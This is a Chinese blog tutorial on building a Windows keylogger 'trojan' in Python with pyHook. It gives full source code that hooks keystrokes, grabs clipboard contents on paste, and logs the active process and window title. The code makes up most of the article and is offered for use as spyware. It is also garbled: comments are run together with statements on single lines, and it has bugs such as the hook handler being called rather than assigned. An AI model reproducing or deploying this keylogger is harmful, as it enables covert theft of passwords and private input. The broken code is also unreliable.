值得一看
正规流量卡

pyHook实现windows键盘记录木马

------正文内容展示,开始汲取新知识啦------

第三方库,用于捕捉特定的Windows事件,封装了所有底层调用,我们
只需要关注程序逻辑。

更多内容及使用方法请自行查找
下载链接:http://sourceforge.net/projects/pyhook/


主干逻辑图

当程序运行后,每当用户在键盘按下一个键,就会触发钩子函数,调用 键盘记录函数 记录按键内容,该函数又会调用 进程切换函数 来应对焦点窗口切换的情况并打印出相应的进程名称。

pyHook实现windows键盘记录木马-使者云

代码及注释

  • 引用及定义部分
# !/usr/bin/env python #  -*- coding: utf-8 -*- __author__ = 'xy' from ctypes import * import pythoncom import pyHook import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None 
  • 进程切换函数
def get_current_process(): # 获得窗口句柄 hwnd = user32.GetForegroundWindow() # 获得进程ID pid = c_ulong(0)
    user32.GetWindowThreadProcessID(hwnd, byref(pid)) # 保存当前进程ID process_id = "%d" % pid.value # 申请内存 executable = create_string_buffer("\x00" * 512)

    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

    psapi.GetModuleBaseName(h_process, None, byref(executable), 512) # 读取窗口标题 window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512) # 输出 print "\n [ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) # 关闭句柄 kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process) 
  • 键盘记录函数
def KeyStroke(event): global current_window # 检查目标是否切换窗口 if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process() # 检测按键是否为常规键 if event.Ascii > 32 and event.Ascii < 127: print chr(event.Ascii), else: # 如果输入为ctrl-v 则获取剪贴板内容 if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard() print "[PASTE] - %s" % (pasted_value), else: print "[%s]" % event.Key, return True
  • 主函数
# 创建和注册钩子函数管理器 kl = pyHook.HookManager()
kl.KeyDown = KeyStroke() # 注册键盘记录的钩子并永久执行 kl.HookKeyboard()
pythoncom.PumpMessages() 
温馨提示:本文最后更新于2024-04-04 14:11:04,某些文章具有时效性,若有错误或已失效,请在下方留言或联系使者
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞1612赞赏 分享
抢沙发

请登录后发表评论

    暂无评论内容